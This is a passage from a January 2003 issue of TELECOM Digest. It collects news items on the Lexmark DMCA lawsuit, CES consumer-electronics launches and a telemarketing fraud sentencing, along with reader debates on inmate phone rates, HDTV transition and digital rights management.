scheduled a hearing for Thursday in the case, which Lexmark filed against Static Control Components in an effort to slam the brakes on the toner cartridge remanufacturing industry. Lexmark is the No. 2 printer maker in the United States, behind Hewlett-Packard, and manufactures printers under the Dell Computer brand. This lawsuit is the latest of several recent DMCA cases -- both civil and criminal -- that have tested the limits of the 1998 copyright law, which Congress intended to limit Internet piracy. Eight movie studios wielded it to force 2600 magazine to delete a DVD-descrambling utility from its Web site, but the Justice Department lost a case last month against a Russian firm that created a program that cracked Adobe's electronic books. Lexmark claims that Static Control violated the DMCA by selling its Smartek chips to companies that refill toner cartridges and undercut Lexmark's prices. http://news.com.com/2100-1023-979791.html ------------------------------ Date: Thu, 9 Jan 2003 00:43:36 -0500 From: Monty Solomon Subject: Anti-Telemarketing Law Under Fire WASHINGTON -- A federal plan to stop unwanted telemarketing calls this year with a national ""do-not-call"" list may be delayed because of opposition from key lawmakers. Rep. Billy Tauzin, (R-La.), chairman of the House Energy and Commerce Committee, said Wednesday that he and other committee members were wary of approving the permanent funding sought by the Federal Trade Commission. Tauzin said he was interested in supporting the registry as a pilot program that would be renewed if it appeared to work. http://www.wired.com/news/politics/0,1283,57142,00.html ------------------------------ Date: Thu, 9 Jan 2003 00:46:20 -0500 From: Monty Solomon Subject: Apple: There's no ""a"" in Wi-Fi By Ben Charny Staff Writer, CNET News.com January 8, 2003, 1:51 PM PT Apple Computer joined a growing band of companies giving the cold shoulder to 802.11a, marking another setback for the wireless standard designed to replace 802.11b as the dominant way to create home and office wireless networks. The Mac maker has no plans to make wireless networking equipment using the 802.11a standard, Greg Joswiak, Apple's vice president of worldwide hardware product marketing, said Wednesday. Instead, it plans to add 802.11g technology into the next generation of its laptops, he said. http://news.com.com/2100-1033-979748.html ------------------------------ Date: Thu, 9 Jan 2003 08:43:22 -0500 From: Monty Solomon Subject: Microsoft Presents Smart Personal Objects Technology (SPOT)-Based Microsoft Presents Smart Personal Objects Technology (SPOT)-Based Wristwatches at CES Leading Watch Manufacturers Citizen, Fossil and Suunto Unveil Wristwatches That Make Personalized, Web-Based Information Available at a Flick Of the Wrist LAS VEGAS, Jan. 9 /PRNewswire-FirstCall/ -- Wristwatches designed to receive and display continuous, up-to-date information through the use of a new nationwide wireless communication technology will be available in the fall of 2003, announced Microsoft Corp. (NASDAQ:MSFT) Chairman and Chief Software Architect Bill Gates last night in his keynote address at the 2003 International Consumer Electronics Show (CES). The watches, created with the world's leading watch brands and manufacturers including Citizen Watch Co., Fossil Inc. and Suunto, are being built using Microsoft(R) Smart Personal Objects Technology (SPOT). Wristwatches incorporating SPOT constitute the first incarnation of truly ""smart"" objects: everyday devices whose core purposes are enhanced through easy-to-use software. As demonstrated during Gates' keynote address, the new SPOT-based watches are fashionable timepieces with enhanced timekeeping characteristics such as customizable watch faces and automatic time-adjustment based on location. In addition, the watches receive and display convenient, timely, personalized Web content from a variety of sources using Microsoft's new DirectBand wireless technology, which enables tiny, low-cost, very-low-power, integrated radio receiver solutions. http://finance.lycos.com/home/news/story.asp?story=30796738 ------------------------------ Date: Thu, 9 Jan 2003 00:01:30 -0500 From: Monty Solomon Subject: Liberty Media Eyes DirecTV Liberty Media Corp. and News Corp. are nearing a joint bid for DirecTV parent Hughes Electronics Corp. ""Given our history of relationships and our history of transactions with News Corp., we're reasonably optimistic that we'll be able to work that out,"" Liberty chief executive Robert Bennett said Tuesday at a conference in La Quinta, Calif. - http://finance.lycos.com/home/news/story.asp?story=30786578 ------------------------------ From: Joey Lindstrom Date: Thu, 09 Jan 2003 08:47:22 -0700 Subject: Keystone Kops & Kollect Kalls Reply-To: joey@telussucks.info On Wed, 8 Jan 2003 19:07:44 EST, editor@telecom-digest.org wrote: > These examples are not exceptions to the rule in this make-believe > town of 'Perfect'; this is how things are getting to be. Police > are no better than anyone else; they just get away with what they do > because they have a badge and uniform. So please pardon me if I take > the little guy's side in this matter. The real victims are the people > who got robbed, looted, sexually assaulted and beaten up of course, > and then assumed the Keystone Kops of America the Beautiful would > protect them and prosecute the wrong-doers. Instead, the Keystone Kops > sit down to connive, make up lies and stories about it, select at > random the weak people who can do little or nothing to defend them- > selves, define them as 'scum', lock them up often times for the rest > of their lives, and tell their friends at the newspapers, look what > a great job we are doing. And yet if you sit down and ask the cons in the pen whether or not they did the thing that got them put away, the VAST, VAST majority would admit, probably sheepishly, ""yeah, I did it"". Many, in fact, boast of their dubious achievements. The examples you cited are horrific and the perpetrators of such corruption themselves need to spend some time unable to make phone calls, unable to come and go as they please, and maybe get sodomized with broomsticks. But I contend (and I know you and I will disagree here) that these cases are the exception, whereas you seem to contend that they are (or at least are becoming) the rule. Each and every man (and woman) in prison has been found guilty by a judge and/or jury (do you have trials by judge alone in the US? In Canada, the accused can elect for such a trial). It is therefore inappropriate to assume their innocence until proven otherwise -- it already has been proven otherwise. We now assume their guilt -- and thus the appropriateness of punishing them and otherwise restricting their rights, ie: the right to make cheap phone calls -- until their innocence is otherwise proven. That's the way it works, that's the way it's always worked, and until someone can devise a better system, that's the way it's always going to work. Corruption in the justice system is indeed A Bad Thing. But taking some isolated cases and using it as the foundation to argue for cheaper phone calls for inmates is, in my opinion, way too much of a stretch. YMMV. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ Date: Thu, 9 Jan 2003 14:15:18 EST From: TELECOM Digest Editor Subject: Re: Keystone Kops & Kollect Kalls > trials by judge alone ... Yes, we have those. A defendant can ask for (or be pressured into) a 'bench trial' in front of a judge without a jury. The vast majority of cases in large cities are that way. In the United States at least, jury trials and the attornies to conduct them cost way to much money for the 'average' defendant. Five thousand dollars is a very cheap jury trial; ten-twenty thousand in lawyer fees is more typical. *If you were arrested, being held in a dungeon jail on a fifty thousand dollar bond ('merely' five thousand to get out on bond pending trial) and have to hire a lawyer to defend yourself, could YOU afford to do it?* Or would you settle for a bench trial (judge only) and a lawyer who agreed to handle it for four or five thousand dollars? Could you afford that? Remember now, we are talking about the 90-95 percent of the inmates awaiting trial who are young black guys (at least here in the USA in the larger cities). If you cannot afford any lawyer at all (that's the idea) then you get the public pretender -- oops I mean defender -- who is, himself/herself an *employee* of the prosecutors office assigned to handle 'indigent' cases. A judge has to agree to appoint a public defender, you do not just get one automatically. And if you could somehow 'afford' to raise the bail money to get out on bond while awaiting trial, then the court says you can also 'afford' to hire your own attorney. It makes things a lot easier for the system here in the United States if they can work it assembly line style. Your first contact with 'your lawyer' (the public defender) is through the bars of the cell in jail while waiting court. Typically overcrowded, anywhere from 30-40 other men in the same cell, and his interview/consultation lasts 2-3 minutes. When your turn comes to go in the courtroom, deputies take you in handcuffed and stand next to you while the judge reviews the 'application' for public defender. If the public defender is appointed to you, then you get another 5-10 minute interview with him/her. I have never yet met a public defender who advised the client to get a jury trial. They *always* say you should settle for a bench trial and the public defender offers to talk to the prosecutor and attempt to 'resolve' the matter. Usually it comes down to 'if you agree to a bench trial and plead guilty, the state will settle for six months or a year behind bars' in minor cases. If you have the audacity to demand a jury trial and FORCE the state/police officers to get up in court and testify, then the stakes go much higher. Expect the state will ask for a twenty/thiry year sentence. So a smart person usually decides (as Charles Brown, former AT&T chairman during divestiture decided to do) to cut his losses and make a guilty plea. I am talking now about the situation in Chicago, Cook County, Illinois but certainly in many other towns as well. Things are *not* as you see on television, where the noble and honest prosecutors/police officers go through these long, drawn out jury trials. The typical, average trial in Cook County/Chicago lasts all of ten minutes or so. And they have three or four dozen of those on a daily basis. Cook County Jail has an inmate population of about nine thousand inmates daily. They do not give you the simplest courtesies of paper, and pen to write out your case, let alone access to computer terminals to research your defense, etc. The assumption is you are guilty from the get-go. After all, if you were not guilty, the noble and honest police officers would never have brought you there, would they? PAT ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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Townson Hacker Gay Porn Hits 'Army Newswatch' (Monty Solomon) Recordable DVD Council Delivers 'Real DVD' at CES 2003 (Monty Solomon) Lexmark DMCA Lawsuit Temporary Restraining Order (Monty Solomon) Timeshare Telemarketing Fraud Scam (Monty Solomon) TeleNav GPS Navigation Service for Nextel Phones (Monty Solomon) DIRECTV & TiVo Introduce High-Definition Digital Video Recorder (Solomon) TiVo Unveils New DVR Design That Supports HDTV (Monty Solomon) TiVo Home Media Option (Monty Aolomon) Go-Video DV6430 DVD/VCR With 10 Minutes of Live TV (Monty Solomon) Sony Vs. Microsoft/Showdown In The Digital Rights Corral (Monty Solomon) Errata (Joey Lindstrom) Re: Extinction (Greg Hennessy) Re: Extinction (J Kelly) Re: Will Your TV Become a Spy? (Barry Margolin) Re: Will Your TV Become a Spy? (Ron Chapman) Re: Will Your TV Become a Spy? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Reply-To: Monty Solomon From: Monty Solomon Subject: Hacker Gay Porn Hits 'Army Newswatch' Date: Thu, 9 Jan 2003 22:34:06 -0500 John Kohlstrand Rochester Democrat and Chronicle WEBSTER, NY - The town of Webster is investigating how gay pornographic material was aired on its cable access channel Monday night. According to town officials, a show on Webster cable access channel 12 about the U.S. Army was interrupted by roughly 20 minutes of explicit pornography. Mike Auger, who oversees cable television operations for town government, said he can find no evidence of gay-themed video on the computer system that digitally stores programming for the station and manages what goes on the air. ""How it got through and on the air, I don't know,"" Auger said. ""That's what we're investigating now."" http://www.rochesterdandc.com/news/0108story8_news.shtml ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Recordable DVD Council Delivers 'Real DVD' at CES 2003 Date: Thu, 9 Jan 2003 22:44:09 -0500 RDVDC Highlights Leadership in Hot DVD Recordable Industry With Products from CE Powerhouses and Forecasts from Leading Analysts LAS VEGAS, Jan. 9 /PRNewswire/ -- The Recordable DVD Council (RDVDC) rallied consumers to demand ""Real DVD"" as they launched a new DVD Recordable awareness campaign today during the RDVDC press conference at the Consumer Electronics Show. Staying one step ahead of the hottest industry in Consumer Electronics history, RDVDC is dedicating 2003 to helping consumers understand and embrace recordable DVD technology through feature-rich, easy-to-use cutting edge products from CE giants including Hitachi, Matsushita (Panasonic), Samsung, and Toshiba. Generating momentum behind ""Real DVD"" -- products that support the reliable formats of the DVD Forum -- Hitachi, Panasonic, and Samsung launched exciting new recordable DVD products, showcasing the best in Recordable DVD with unmatched compatibility for both the AV and PC worlds. In addition to product introductions, RDVDC chairman Bon-Guk Koo, Samsung Electronics, Co., Ltd., highlighted industry trends, while Andy Parsons, senior vice president of sales and marketing, Pioneer U.S., discussed DVD-R's market penetration and technology advantages. In addition, Danielle Levitas, director, consumer devices and technologies and interactive services, IDC, and Rick Doherty, director of Envisioneering, delivered their third-party insight into the market today and for the future. http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-09-2003/0001869534&EDATE= ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Lexmark DMCA Lawsuit Temporary Restraining Order Date: Thu, 9 Jan 2003 22:47:12 -0500 Lexmark lawsuit seeks to defend intellectual property rights while preserving customers' rights to choose. LEXINGTON, Ky., Jan. 9 /PRNewswire-FirstCall/ -- As a result of a Lexmark International, Inc. (NYSE: LXK) lawsuit against Static Control Components, Inc., for violation of the Copyright Act and the Digital Millennium Copyright Act, the federal district court in Lexington, Ky., issued a temporary order - agreed to by Static Control - requiring Static Control to immediately cease making, selling, or otherwise trafficking in the ""Smartek(TM)"" microchip for the toner cartridges developed for the Lexmark T520/522 and T620/622 laser printers. The order is in effect until Lexmark's motion for a preliminary injunction is heard by the Court. Lexmark's complaint alleges that the Smartek(TM) microchips incorporate infringing copies of Lexmark's copyrighted software and are being sold by Static Control to defeat Lexmark's technological controls, thereby allowing the unauthorized access to Lexmark's protected software programs and the unauthorized remanufacturing of Lexmark ""Prebate(TM)"" toner cartridges. http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-09-2003/0001869517 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Timeshare Telemarketing Fraud Scam Date: Thu, 9 Jan 2003 22:54:14 -0500 Cape Cod Real Estate Broker Sentenced to Three Years Imprisonment for His Role in Timeshare Telemarketing Fraud Scam, Reports U.S. Attorney BOSTON, Jan. 9 /PRNewswire/ -- A Cape Cod real estate broker was sentenced today to a term of federal imprisonment for his role in defrauding 10,000 timeshare owners out of over $4.5 million. ... According to the evidence presented at trial, Gonczy, Joel Epstein, and their co-conspirators, established a complex network of more than a dozen companies designed to persuade timeshare owners who were interested in selling their timeshares to purchase a $399 ""appraisal"" of their timeshare. The scheme passed timeshare owners through a series of boiler rooms to complete the fraud. First, the defendants established a number of purported ""buying companies"" based in Florida and Texas which contacted timeshare owners and made a host of misrepresentations, including that they would buy the person's timeshare if the owner obtained an appraisal and that they would reimburse the owner for the appraisal fee at the time of closing. The buying companies falsely claimed that they received no fees from the appraisal companies and had no part in the appraisal process. Once the buying company persuaded the timeshare owner into selling the timeshare, the buying company referred the timeshare owner to a purportedly independent service, Multi-State Listing Service (""MLS""), which in fact was a second boiler room. The timeshare owner would be told that the MLS would put the timeshare owner in touch with ""independent and internationally recognized"" appraisal companies. ... http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-09-2003/0001869453&EDATE= ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: TeleNav GPS Navigation Service for Nextel Phones Date: Thu, 9 Jan 2003 22:57:04 -0500 Televigation Launches North America's First GPS Navigation Service for Wireless Phones TeleNav(TM) Runs on Nextel's Java(TM) Technology-enabled Handsets to Offer Turn-by-Turn GPS Navigation LAS VEGAS, Jan. 9 /PRNewswire/ -- Televigation, the leader in wireless motion-based technology, today announced the debut of TeleNav(TM), North America's first location-based navigation service available on a wireless phone. At a fraction of the cost of expensive Global Positioning System (GPS) car navigation solutions, TeleNav(TM) subscribers now can use their Nextel Java(TM) technology-enabled handset with GPS capabilities, as a navigation system to direct them -- visually and audibly -- turn-by-turn to most addresses or locations in the United States. ... http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-09-2003/0001869449&EDATE= ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: DIRECTV & TiVo Introduce New High-Definition Digital Video Recorder Date: Thu, 9 Jan 2003 23:06:54 -0500 DIRECTV and TiVo to Demonstrate New DIRECTV HDTV DVR at CES LAS VEGAS, Jan. 9 /PRNewswire-FirstCall/ -- DIRECTV, Inc. and TiVo (NASDAQ:TIVO) announced today that they will introduce a new DIRECTV(R) HDTV DVR that will enable consumers to record and playback DIRECTV high- definition, as well as standard-definition DIRECTV(R) programming and terrestrial ATSC broadcasts. The companies will demonstrate the new receivers this week at the International Consumer Electronics Show in Las Vegas (DIRECTV Booth 13525, TiVo Booth N208). The DIRECTV(R) HDTV DVR is expected to be available to consumers by year-end. The DIRECTV(R) DVR with TiVo(R) service will apply all the familiar TiVo functions to DIRECTV and ATSC high-definition programming -- including the ability to record, pause, instant replay and rewind live television. The new DIRECTV(R) HDTV DVR will feature a larger recording capacity than existing DIRECTV(R) DVRs, and will feature component and digital video outputs for enhanced audio and video. Manufacturers and pricing will be announced at a later date. http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:TIVO&story=30813153 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: TiVo Unveils New DVR Design That Supports HDTV Date: Thu, 9 Jan 2003 23:12:21 -0500 New Platform Expands TiVo Licensing Portfolio into Fast Growing, High Demand HDTV Format CONSUMER ELECTRONICS SHOW, LAS VEGAS, Jan. 9 /PRNewswire-FirstCall/ -- TiVo (NASDAQ:TIVO), the creator of and leader in television services for digital video recorders (DVR), today announced it has developed the first DVR platform that supports recording in High Definition Television formats. The reference design will be licensed to leading CE manufacturers who are expected to offer the new DVR to consumers by the end of the year. In a related announcement, today DIRECTV and TiVo announced they would develop a new DIRECTV(R) HDTV Digital Video Recorder with TiVo(R). The new design offers viewers the flexibility of a DVR that is equipped to record today's analog broadcasts along with the capability for recording the rapidly expanding programming offerings in HDTV. The company said the HDTV format DVR is one of the new products most frequently requested by technology licensing partners as well as TiVo subscribers. ... http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:TIVO&story=30813165 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: TiVo Home Media Option Date: Thu, 9 Jan 2003 23:15:50 -0500 TiVo's New Home Media Option(TM) Transforms DVR Into Entertainment Center, Bringing Control and Simplicity to Home Networking Service Option Lets Subscribers Record Entertainment in the Living Room, Watch It in the Bedroom; Store Tunes on the PC, Listen to Them in the Family Room CONSUMER ELECTRONICS SHOW, LAS VEGAS, Jan. 9 /PRNewswire-FirstCall/ -- TiVo (NASDAQ:TIVO), the creator of and leader in television services for digital video recorders (DVR), today introduced the TiVo Home Media Option(TM). The new service option promises to transform TiVo from a digital recording device to an entertainment center that allows entertainment lovers to effortlessly enjoy video, music and photos throughout the home. ... Once the TiVo Home Media Option(TM) has been downloaded to the DVR and activated at the TiVo website, the DVR will be capable of linking over a network with either Apple or Windows PCs. Applications necessary for completing this network link to the PC can be downloaded from the TiVo website (www.tivo.com) once a subscriber has completed the TiVo activation process. ... http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:TIVO&story=30813183 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Go-Video DV6430 DVD/VCR With 10 Minutes of Live TV Date: Thu, 9 Jan 2003 23:22:15 -0500 SONICblue Introduces World's First DVD/VCR Combo That Allows Users to Control Live TV; New Go-Video DV6430 DVD/VCR Allows Users to Pause, Rewind and Instant Replay Live TV SANTA CLARA, Calif.--(BUSINESS WIRE)--Jan. 9, 2003--SONICblue(TM) Incorporated (Nasdaq:SBLU), introduced the Go-Video(R) DV6430, the first product of its kind to incorporate live TV control with a DVD/VCR combo. The unit combines all the convenience of a DVD+VCR unit, with up to 10 minutes of Live TV control, giving users the ability to pause, rewind, instant replay, and slow-motion live television. ... http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:SBLU&story=30800676 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Sony Vs. Microsoft / Showdown In The Digital Rights Corral Date: Fri, 10 Jan 2003 00:25:20 -0500 by Lisa DiCarlo NEW YORK - Its name is decidedly unsexy, but digital rights management will be the hottest topic in personal computing and digital entertainment in coming years. Sony and Microsoft are two companies at the forefront, setting the stage for a potential clash of titans. It took Napster, the pioneering but now defunct free music-swapping service, to bring digital rights front of mind for the entertainment and technology industries. In simple terms, DRM aims to control the distribution of digital content whether online or off. The implications for consumers are enormous, as is the potential revenue stream for companies that provide digital rights technology. The market right now is tiny--less than $100 million in 2001, the most recent year for which figures are available--but International Data Corp. estimates 55% compound annual growth through 2006, or about half a billion dollars, says IDC contributing analyst Joshua Duhl. ... http://www.forbes.com/2003/01/09/cx_ld_0109drm.html ------------------------------ From: Joey Lindstrom Date: Thu, 09 Jan 2003 14:32:27 -0700 Subject: Errata Reply-To: joey@telussucks.info My Fave Guy John Higdon wrote: >> The point here is that the move to DTV is not change for the sake of >> change. > Correct. The FCC saw all that valuable spectrum in the VHF TV bands > and realized that it could get a really nice price for it from telecom > companies. But first it had to dump the TV broadcasters ... and get > the public to approve of the deal in the bargain. The elixir: DTV > ... or more precisely, HDTV. Wow! Yeah? So what took them so long to do this? You'd think if it was simply about cash, this'd been done back when HDTV was first proposed (1986 wasn't it?). >> DTV is a huge, HUGE improvement over NTSC - it's progress, >> pure and simple, and I don't think such a tremendous improvement in >> the overall quality of television should be held back (or held off >> completely) because of a few people who won't want to spend fifty >> bucks on a converter when the time comes - again, assuming their >> existing analog sets still work at all when the time comes. > And how about the TV stations that simply use the digital spectrum for > several low-res programs rather than HDTV? Or worse, how about the > stations that just sell the high-speed data stream to outside parties > and only use a portion of it for TV broadcasting per se? I think you > will find that the issue is a little more complex than spending fifty > bucks on a converter. SDTV is still a big improvement over analog. And as a consumer, I couldn't give a rat's ass if a station leases bandwidth to an outside party. I care only about what, and how much, is on the screen in front of me. But as HDTV becomes more and more common, I believe the market will decide. If consumers really prefer HDTV-quality images over SDTV-quality images, the TV ratings (along with responses to surveys) will reflect that. Broadcasters that cater to the demands of consumers will make higher profits. But if consumers prefer having a choice of several SDTV channels over a single HDTV channel, again, the broadcaster that caters to it is going to win. It's the invisible hand of Adam Smith in action. > Anyone buying a digital set today may find himself in exactly the same > situation. As we speak, those same folks who are pushing for ""closing > the analog hole"" are also pushing for a re-design of the digital > standards to include the ""broadcast flag"" and many other ""rights > management"" features that will make today's system completely obsolete. I think there'll be tremendous resistance to these things -- at least, to any scheme that obsoletes existing HDTV sets. Resistance possibly in the form of class-action lawsuits on the part of consumers who were told ""this set complies with the coming standard"". Then Ron Chapman added: > Joey, > Do you really, *really* believe that DTV is about quality? Only? No. Primarily? Yes. Sorry if I sound naive to you -- I guess I just haven't quite reached the ""cynical ol' bastard"" stage of my life yet. (Odd, because being a Limbaugh conservative I'm often accused of just that.) > It's not about quality. Tossing aside the obvious advantages of > digital with respect to the control it gives the content providers, > DTV is all about QUANTITY. That's right; it won't be HDTV when it all > shakes out. It'll be SDTV, and it'll be 4 times as much. The average > American doesn't want quality, he wants quantity. And let's face it: > nobody wants to see the hairs on Roseanne Barr's face in all their > glory. > No, Americans want MORE CHANNELS. And the industry will be happy to > take the bandwidth they have and shove 4 times as many COMMERCIALS > down our throats. Ah, I begin to see. Yes, it all makes sense now. The 90% of Americans (and I expect the numbers are similar here in Canada) that receive their television via cable or satellite are going to immediately disconnect those superior delivery methods in favour of getting maybe 20 or 30 over-the-air channels. Yes, I can see that happening just about overnight. (I'm not up to date on the technical side of things here: I thought I read, some moons ago, that one HDTV channel can be partitioned into as many as six SDTV channels -- has this been changed or do I remember it wrong?) > Ah, the glory of not giving a damn. I don't really care; I won't buy > a converter box, because I've hated converter boxes since before you > were born. I have TVs and VCRs with perfectly good tuners, thank you. > I don't need a clunky box in the middle to prevent me from using those > tuners. I seem to recall an announcement very recently in this here Digest saying that some agreement has been reached that will allow manufacturers to build ""cable-ready"" HDTV sets that won't require any sort of converter. This seems to be the opposite of what the nay-sayers here are predicting. Granted, this comes too late for me - I've already got my HDTV set and I'm not buying another one, nor is there any guarantee this ""standard"" will also be adopted in Canada, so it's a set-top box for me (or, in my case, a Bell Expressvu satellite receiver). > And I really don't need those commercials, either. Hollywood is > wondering why I'm not watching TV anymore. Maybe it has to do with > commercial time creeping up into the 20 minutes per hour range. (I > watched the Carol Burnett special a couple years ago, and taped it in > case I wanted to keep it. I paused during the commercials. Including > opening and closing credits, the total amount of actual program time > was 40 minutes. That's right -- forty minutes.) Ironic, ain't it? The more channels we get, the fewer eyeballs each station gets and thus the more commercials it has to run to make up for the revenue shortfall. Again, though, as long as the market (that's us) is prepared to put up with it, and don't stampede to any broadcaster that offers an alternative, this trend will continue. The invisible hand strikes again. > My cable company raised their rates a couple bucks this past November. > I called them and started asking questions about how much I pay, and I > told her right up front: I'm looking around. I told her that I was > unhappy with paying more money for the privilege of seeing these > commercial stations that are shoving more and more minutes per hour of > commercials down my throat. She immediately -- IMMEDIATELY -- offered > to rescind the increase for me for the next 12 months. I just got a similar two-buck increase in my satellite bill. It's still cheaper than the local cable provider -- then again, it's given me thoughts of dusting off my ol' grey-market DirecTV receiver and looking around to see if I can find somebody with ""connections"" to smart card codes. ;-) > I do get tired of the commercial channels charging the cable companies > more per subscriber every year, only to then increase the commercial > content. I will rush to the first provider -- cable, satellite, whatever -- that realizes that no matter how many channels they stuff into a package, I can only watch ONE AT A TIME. If I have the basic 100 or so channels, I pay about $20 per month. For the package I'm on (over 240 channels), it's $40 per month. I CAN STILL ONLY WATCH ONE AT A TIME. I should be charged the same rate for TV viewing no matter how many choices are on the menu. I don't expect to pay twice as much for food when I vacation in the US and stop at a Jack In The Box, just because they've got twice as many items on the menu as McDonald's does. (Then again, I'd be willing to pay a premium at JITB for the simple reason that, unlike McDonald's, their food doesn't taste like boiled masking tape). We're moving into a digital age. I'd love it if some provider realized that they could TRACK my viewing habits and direct pro-rated portions of my monthly fees to the stations that I ACTUALLY WATCH - and give sweet bugger all to the ones I shun. I'd switch VERY quickly to such a provider - but, until Adam Smith's hand moves in that direction, I'm SOL. (That's ""Short On Luck"", for those easily offended) -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: greg.hennessy@cox.net (Greg Hennessy) Subject: Re: Extinction Date: Thu, 9 Jan 2003 22:01:05 UTC Organization: A poorly-installed InterNetNews site Reply-To: greg.hennessy@cox.net In article , J Kelly wrote: > The High Def will not improve anything I see on TV. I got HDTV a month ago via Cox cable, and the few shows that are actually broadcast in HDTV look very nice. I'll find out more when the NFL playoffs this weekend are broadcast in HDTV. :) ------------------------------ From: J Kelly Subject: Re: Extinction Date: Thu, 09 Jan 2003 20:38:38 -0600 Organization: http://extra.newsguy.com On Thu, 09 Jan 2003 13:39:02 -0600, J Kelly wrote: > On Wed, 08 Jan 2003 11:09:01 -0700, Joey Lindstrom > wrote: >> DTV is a huge, HUGE improvement over NTSC - it's progress, >> pure and simple, and I don't think such a tremendous improvement in >> the overall quality of television should be held back (or held off >> completely) because of a few people who won't want to spend fifty >> bucks on a converter when the time comes I recieved in the mail today, TV Technology Magazine. In it CBS has announced its plan to drop all Prime Time HDTV programming after this season. So much for progress. ------------------------------ From: Barry Margolin Subject: Re: Will Your TV Become a Spy? Organization: Genuity, Woburn, MA Date: Thu, 09 Jan 2003 21:54:54 GMT In article , John Higdon wrote: > In article , Monty Solomon > wrote: >> Yet studio execs remain on the warpath. As movies are increasingly >> broadcast and sold in digital format, Tinseltown execs are panicked >> that consumers will make infinite numbers of perfect digital copies >> and share them over the Internet. > And as anyone knows, seeing grainy, jerky images on a computer screen > with audio through a couple of three-inch speakers beats nearly > perfect images projected onto a 100' screen with audio through > THX-certified sound systems any day of the week. There's lots of technology to play these movies back on real TV's, not just tiny computer screens. The experience would be the same as watching the original broadcasts or DVDs. > I guess that movie execs are justified in thinking that suddenly the > movie theaters will be empty. It seems that the entertainment industry has always been paranoid about new technologies. In the 40's and 50's the film industry worried that television would erode their audience, in the 70's they fought against VCRs, and in the past few years the music industry has been battling against Napster-style services. Yet in the end, they eventually embrace the technologies and learn how to turn them around to make money (many movies make more for the studios in video sales than they do in the theatres). What I think causes this behavior is that it takes them a while to figure out *how* to make money off the technology (unless it fits easily into an established infrastructure, e.g. DVD rental/sales at video stores). While they're working it out, they don't want to lose control of their product to outsiders. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ Date: Thu, 9 Jan 2003 20:45:42 -0500 From: Ron Chapman Subject: Re: Will Your TV Become a Spy? In article , John Higdon wrote: > I have a hard time seeing that. I am a total Hollywood junkie. I > regularly attend movies at Bay Area theaters. I have thousands of DVDs > (all duly purchased) that I view on a 120"" screen (and suitably > matching sound system) at home. I have never had the slightest desire > to download a movie off the Internet to watch on my computer. That's funny. I have never had the slightest desire to purchase thousands of DVDs and/or a 120"" TV viewing system with suitable matching sound system. I guess it takes all kinds, eh, John? >> It's amazing to watch the proprietors of an almost entirely >> discretionary industry working so hard to make their customers wish >> them ill. It's as if McDonalds hired greeters at every franchise to >> shout at people, ""We think you're stupid for eating our food! Go >> away!"" > On this point, we are in full agreement. I have never seen an industry > treat its own customers like potential criminals like the > entertainment industry does. If it would do what it does best (produce > entertainment) and stop worrying about this control freak obsession > from which it suffers, it would go on making bucket-loads of money > ... just as it always has. You've never seen an industry treat its own customer like potential criminals? You've never been in the DTP industry, then, where Quark treats its paid customers as if they were ACTUAL criminals. Quark has even come out and said as much, publicly. John, you need to get out more -- or else stop making blanket statements like that. Realize that the world is a bit bigger than you know. ------------------------------ Date: Fri, 10 Jan 2003 15:28:42 +1100 From: Dave Horsfall Subject: Re: Will Your TV Become a Spy? [ Rejoining the flock after too many years away ] On 9 Jan 2003, John Meissen wrote: > Obviously this is an abuse of the vendor-customer relationship. The > second Lord of the Rings episode is 3 hours long. Can you imagine the > stress on your bladder if you have to endure an additional half hour > of unanticipated commercials on top of the 3 hour feature? Not to > mention the outrage over being subjected to that many commercials > after spending ~$20 per person for some popcorn, a soda and a seat in > the theater. Wasn't a problem for me... I had a cooked snack before I departed, took a small bottle of water with me from which I sipped occasionally, and laughed (inside) at everyone taking bladder breaks at all sort of times (yes, during the movie). And I'm 50, when bladder control is supposed to be a problem :-) Dave Horsfall DTM VK2KFU daveh@ci.com.au Ph: +61 2 9906-7866 Fx: 9906-1556 Corinthian Engineering, Level 1, 401 Pacific Hwy, Artarmon, NSW 2064, Australia ------------------------------ From: news.alltel.net Subject: What the Heck is Going on Here (CDMA2000 1xRTT PCS SPRINT Flavor) Date: Thu, 09 Jan 2003 21:44:09 GMT I was running a security port scan against one of my servers from the laptop which is on the PCS wireless network of SPRINT aka PCS. After the scan was complete, something in their infrastructure continued to scan for a full 15 minutes (I was talking to an associate who was watching the scan on the scanned machine). We were amazed. At first we thought some nefarious process on my laptop. I yanked the Merlin card and the scans continued for another 13 minutes with the source IP that had been assigned to my laptop. What the hell are they doing at SPRINT???? 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Townson Re: Will Your TV Become a Spy? (John Higdon) New HP Digital Media Receiver Extends Digital Music & Photo (M. Solomon) Nokia Color and Java TDMA Handsets (Monty Solomon) Sony Vs. Microsoft / The Fight For Interactive Television (Monty Solomon) California Disclosure Law Has National Reach (Monty Solomon) FCC's Powell Calls TiVo 'God's Machine' (Monty Solomon) I was here. (Doug Faunt) 